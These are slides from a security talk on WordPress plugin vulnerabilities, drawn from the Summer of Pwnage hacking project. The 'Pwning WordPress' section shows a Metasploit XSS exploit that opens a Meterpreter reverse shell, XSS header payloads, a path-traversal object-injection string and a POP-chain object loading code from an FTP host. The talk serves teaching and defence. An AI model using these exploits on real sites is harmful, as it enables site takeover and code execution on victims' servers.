



The State of Security of WordPress (plugins)

Yorick Koster

Security

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About Me

- Yorick Koster
- Co-Founder Securify
Proactive Software Security / Build Security In
- ~15 years doing software security
- Uncovered vulnerabilities in various products
 - Internet Explorer, Office, .NET Framework, Adobe Reader, WordPress & more.






OWASP
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Summer of Pwnage




Summer of Pwnage



- Started as joke
- Used Github to find Object Injection
- We didn't know how to run a con (still don't 😊)

Summer of Pwnage






- Month of WordPress hacking
- Meetup every week
- VM with WordPress & ~1000 plugins/themes
- For students & people w little experience
- ~25-30 active participants
- Resulted in 118 findings (5 Core)

<https://www.sumofpwn.nl/advisories.html>

<https://twitter.com/sumofpwn>


Summer of Pwnage Results





Summer of XSS 😎

Summer of Pwnage Results

■ CSRF ■ Pre-auth ■ Privilege escalation



Summer of Pwnage Results



Summer of Pwnage

Media coverage



Home / Security

Serious flaw fixed in widely used WordPress plug-in

The persisten
of admin acco

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
Tools

heise online

Alert:

Lücke in All-in-One-SEO-Plug-in gefährdet WordPress

13.07.2016 14:33 Uhr – Merlin Schumacher



WEBWERELD

ROUTE L'ACTUALITÉ → SÉCURITÉ → MALW

Le 12 Juillet 2016

WordPress : Une sérieuse faille corrigée dans un plug-in SEO

PCWorld
FROM IDG

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NEWS

☰ Softpedia > News > Security > Security Fixes and Improvements


Website Takeover Issue Fixed in WordPress' Most Popular Plugin

All in One SEO Pack affected

SECURITYWEEK
INTERNET AND ENTERPRISE SECURITY NEWS, INSIGHTS & ANALYSIS

Summer of Pwnage Observations

- Focus on low hanging fruit
- Grep is king
- Getting stuff fixed is hard
- Security knowledge plugins writers is low





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WordPress (Plugins)

State of Security



WordPress Security

Core



- WordPress is blog software with CMS features
- Powers ~27% of all websites (reportedly)
- Focus on who can edit which content
 - Content is either published or not*
 - Media can be enumerated*

WordPress Security

Core



- Seems like they've learned the hard way
- Core is relative secure (appear to know their stuff)
 - Filtering/validation
 - Anti-CSRF (nonces)
 - Automatic updates 😊
- (Legacy) issues
 - No prepared statements
 - Salted MD5 passwords
 - Login brute force
 - Not designed for CSP

WordPress Security Plugins



- Vulnerabilities in only ~100 plugins of 1000 popular plugins (10%)
- Keep in mind:
 - Limited (spare) time
 - Focus on low hanging fruit

WordPress Security Plugins



- Some APIs are secure by default
 - Eg, prevent SQLi
- Some are not
 - Output encoding
 - CSRF protection
- High number of XSS & CSRF issues

```
get_post( int/WP_Post/null $post = null,  
string $output = OBJECT, string $filter = 'raw' )  
Retrieves post data given a post ID or post object.
```

```
function column_default($item, $column_name)
{
    $item = apply_filters('ull-output-data', $item);
    //unset existing filter and pagination
    $args = wp_parse_args( parse_url($_SERVER["REQUEST_URI"], PHP_URL_QUERY) );
    unset($args['filter']);
    unset($args['paged']);
    switch($column_name){
        case 'id':
        case 'uid':
        case 'time':
            break;
        case 'data':
            return $item[$column_name];
        case 'image':
            $user = new WP_User( $item['uid'] );
            $user_email = $user->user_email;
            return get_avatar( $user_email, 60 );
        case 'user_email':
            return $item[$column_name];
        case 'ip':
            return $item[$column_name];
    }
}
```

WP_List_Table()

Base class for displaying a list of items in an ajaxified HTML table.



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WordPress Security Plugins (XSS)



Screenshot of a web browser showing a WordPress plugin interface. The URL is 192.168.146.139/wp-admin/users.php?page=login_log.

The page displays a login log table with columns: #, Image, User ID, Username, User Role, User Email, Name, IP Address, Time, and login Result. One row shows a user with ID 1, Username wordpress, and User Role administrator.

A modal dialog box is open in the center, displaying the message "Hello, OWASP!".

At the top right of the page, there is a "Rate Us" button with a 5-star rating and a "Screen Options" dropdown.

At the bottom left, a status bar says "Waiting for 1.gravatar.com...".

#	Image	User ID	Username	User Role	User Email	Name	IP Address	Time	login Result
6		1	wordpress	administrator	sumofpwn@mailinator.com		192.168.146.1	2016-11-22 14:25:19	Successful

WordPress Security Plugins



We're sorry for the inconvenience, we will fix this right away.

We will need to have access to your ftp information so we can login and look into this, can you please provide us with login credentials?

Can you help me understand why json_encode/json_decode is superior to using serialize/unserialize?

Can you at least explain me the damage it could create?

Is there a reason a WordPress nonce isn't sufficient for this security concern?

[...] is called by a Wordpress add_menu_page, in theory it is Wordpress that has filter the input when calling the page.

WordPress Security Summary



- WordPress Core is relatively secure
- Core has known (legacy) issues
- Lots of insecure plugins
 - Dangerous APIs
 - Low security awareness
 - Mostly XSS & CSRF



Pwning WordPress

```
[msf] > use exploit/multi/http/wp_404-to-301_xss
[msf] exploit(wp_404-to-301_xss) > set RHOST 192.168.146.137
RHOST => 192.168.146.137
[msf] exploit(wp_404-to-301_xss) > set LHOST 192.168.146.197
LHOST => 192.168.146.197
[msf] exploit(wp_404-to-301_xss) > exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.146.197:4444
msf exploit(wp_404-to-301_xss) > [*] 192.168.146.137:80 - Exploiting Cross-Site Scripting in 404-to-301 plugin
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://172.16.0.139:8080/
[*] Server started.
[*] Sending stage (33068 bytes) to 192.168.146.137
[*] Meterpreter session 1 opened (192.168.146.197:4444 -> 192.168.146.137:46088) at 2016-07-21 17:41:53 +0200
[*] Server stopped.
```

Pwning WordPress

Cross-Site Scripting



Requires: 3.5 or higher
Compatible up to: 4.5.3
Last Updated: 1 week ago
Active Installs: 60,000+

Vulnerability Description/Technical Details

A Stored Cross-Site Scripting vulnerability exists in the 404-to-301 WordPress plugin.

The vulnerability exists in the file admin/class-404-to-301-logs.php which fails to correctly escape user-controlled strings which are output in HTML tables containing logs shown to site administrators, such as the Referer ('ref') and User-Agent ('ua') fields.

Vulnerability/Configuration Requirements

In order to exploit this issue, after an attack attempt has been made, an administrator must view the logs (via the WordPress administration console) provided by the plugin, by clicking '404 Error Logs'.

Proof of concept

Submit an HTTP request to a non-existent URL (to trigger the 404 handler) containing a header such as one of the following:

```
Referer: "<iframe src=/></iframe>  
User-Agent: "<script>alert(/hi/);</script>"
```

Pwning WordPress Cross-Site Scripting



Screenshot of a web browser showing the WordPress theme editor for the 'WP Simple' theme. The page title is 'Edit Themes < Summer of Pwnage'. The URL in the address bar is 192.168.146.139/wp-admin/theme-editor.php?file=footer. The user is logged in as 'wordpress'. The sidebar on the left shows various theme editor icons. The main content area displays the footer.php template code.

The 'Select theme to edit:' dropdown is set to 'WP Simple' and has a 'Select' button next to it. To the right, there's a 'Templates' sidebar listing other theme files:

- 404 Template (404.php)
- Comments (comments.php)
- Theme Footer (footer.php)** (highlighted in light blue)
- Static Front Page (front-page.php)
- Theme Functions (functions.php)
- Theme Header (header.php)

The footer.php code is as follows, with several sections highlighted by orange boxes:

```
<div class="container footer">
    <div class="row">
        <div class="col-md-5">
            <p id="copyright"><?php echo esc_html(nimbus_get_option('copyright')) ?></p>
        </div>
        <div class="col-md-5 col-md-offset-2">
            <p id="credit">Simple Theme</a> <?php _e('from', 'wp-simple'); ?> <a href="http://www.nimbusthemes.com">Nimbus Themes</a> - <?php _e('Powered by', 'wp-simple'); ?> <a href="http://wordpress.org">Wordpress</a></p>
        </div>
    </div>
<?php wp_footer(); ?>
</body>
</html>
```

Pwning WordPress Cross-Site Scripting



- Inject XSS payload
- Wait for admin to visit vulnerable page
- Run 2nd stage JavaScript payload to:
 - modify PHP file;
 - visit PHP file;
 - run PHP Meterpreter client.

Pwning WordPress Cross-Site Scripting



```
[msf] > use exploit/multi/http/wp_404-to-301_xss
[msf] exploit(wp_404-to-301_xss) > set RHOST 192.168.146.137
RHOST => 192.168.146.137
[msf] exploit(wp_404-to-301_xss) > set LHOST 192.168.146.197
LHOST => 192.168.146.197
[msf] exploit(wp_404-to-301_xss) > exploit
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[*] Server stopped.
```



Pwning WordPress Hardening



- If you don't need the editor, disable it
- More hardening:

https://codex.wordpress.org/Hardening_WordPress

Disable File Editing

The WordPress Dashboard by default allows administrators to edit PHP files, such as plugin and theme files. This is often the first tool an attacker will use if able to login, since it allows code execution. WordPress has a constant to disable editing from Dashboard.

Placing this line in wp-config.php is equivalent to removing the 'edit_themes', 'edit_plugins' and 'edit_files' capabilities of all users:

```
define('DISALLOW_FILE_EDIT', true);
```

This will not prevent an attacker from uploading malicious files to your site, but might stop some attacks.

Pwning WordPress PHP Object Injection



Your Google forms on your WordPress site!

The diagram illustrates the integration of Google Forms and WordPress. On the left, a screenshot of a Google Form titled "WordPress GForm Plugin Sample Form" is shown. It contains several questions about WordPress usage. In the center, a large blue WordPress logo is followed by a plus sign. To the right, another screenshot of the same form is displayed on a WordPress site, demonstrating that Google Forms data can be submitted directly from a WordPress page.

Requires: 4.0 or higher
Compatible up to: 4.5.4
Last Updated: 2 weeks ago
Active Installs: 20,000+

```
// Need the action which was saved during form construction
$action = unserialize(base64_decode($_POST['wpgform-action'])) ;
unset($_POST['wpgform-action']) ;
$options = $_POST['wpgform-options'] ;
unset($_POST['wpgform-options']) ;
$options = unserialize(base64_decode($options)) ;
```

Pwning WordPress PHP Object Injection



```
<?php  
    class Example1 {  
        public $cache_file;  
        function __construct() {  
            // some PHP code...  
        }  
  
        function __destruct() {  
            $file = "/var/www/cache/tmp/{$this->cache_file}";  
            if (file_exists($file)) @unlink($file);  
        }  
    }  
  
    // some PHP code...  
    $user_data = unserialize($_GET['data']);  
    // some PHP code...  
?>
```

[http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"./..../index.php";}](http://testsite.com/vuln.php?data=O:8:\)

Pwning WordPress PHP Object Injection



- Find the right target
- Direct:
 - `__destruct()`
 - `__wakeup()`
- Indirect:
 - `__toString()`
 - `__call()`
 - `__set()`
 - `__get()`
- Autoloading:
 - `spl_autoload_register()`

```
<?php  
print_r(get_declared_classes());  
print_r(spl_autoload_functions());  
?>
```

Pwning WordPress PHP Object Injection




- No easy exploitable class in WordPress
- Find the correct POP chain
- POP chain presented by Sam Thomas

http://www.slideshare.net/_s_n_t/php-unserialization-vulnerabilities-what-are-we-missing

- Attack still works in latest version (4.6.1)
- Uses WP_Theme::__toString() as start point

Pwning WordPress PHP Object Injection



```
/**  
 * Makes a function, which will return the right translation index, according to the  
 * plural forms header  
 * @param int $nplurals  
 * @param string $expression  
 */  
function make_plural_form_function($nplurals, $expression) {  
    $expression = str_replace('n', '$n', $expression);  
    $func_body = "  
        \$index = (int)($expression);  
        return (\$index < $nplurals)? \$index : $nplurals - 1;";  
    return create_function('$n', $func_body);  
}
```



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Pwning WordPress PHP Object Injection



is_readable

Change language: English

(PHP 4, PHP 5, PHP 7)

is_readable — Tells whether a file exists and is readable

Description

```
bool is_readable ( string $filename )
```

Tells whether a file exists and is readable.

Tip As of PHP 5.0.0, this function can also be used with *some* URL wrappers. Refer to [Supported Protocols and Wrappers](#) to determine which wrappers support [stat\(\)](#) family of functionality.

Pwning WordPress PHP Object Injection



http://

https://

http:// -- https:// -- Accessing HTTP(s) URLs

Wrapper Summary

Attribute	Supported
Restricted by allow_url_fopen	Yes
Allows Reading	Yes
Allows Writing	No
Allows Appending	No
Allows Simultaneous Reading and Writing	N/A
Supports stat()	No
Supports unlink()	No
Supports rename()	No
Supports mkdir()	No
Supports rmdir()	No



Pwning WordPress PHP Object Injection



ftp://

ftps://

ftp:// -- ftps:// – Accessing FTP(s) URLs

Also works for ssh2.sftp://

Wrapper Summary		
Attribute	PHP 4	PHP 5
Restricted by allow_url_fopen	Yes	Yes
Allows Reading	Yes	Yes
Allows Writing	Yes (new files only)	Yes (new files/existing files with overwrite)
Allows Appending	No	Yes
Allows Simultaneous Reading and Writing	No	No
Supports stat()	No	As of PHP 5.0.0: filesize() , filetype() , file_exists() , is_file() , and is_dir() elements only. As of PHP 5.1.0: filemtime() .
Supports unlink()	No	Yes
Supports rename()	No	Yes
Supports mkdir()	No	Yes
Supports rmdir()	No	Yes



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Pwning WordPress PHP Object Injection



- Final object

WP_Theme Object

(

[theme_root:WP_Theme:private] => **ftp://anonymous:foobar@1.2.3.4**
[headers:WP_Theme:private] => Array

(

[Name] => foo
[TextDomain] => default

)

[stylesheet:WP_Theme:private] => **foobar**

)





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Questions?

yorick.koster@securify.nl

[@yorickkoster](https://twitter.com/yorickkoster) / [@securifybv](https://twitter.com/securifybv)

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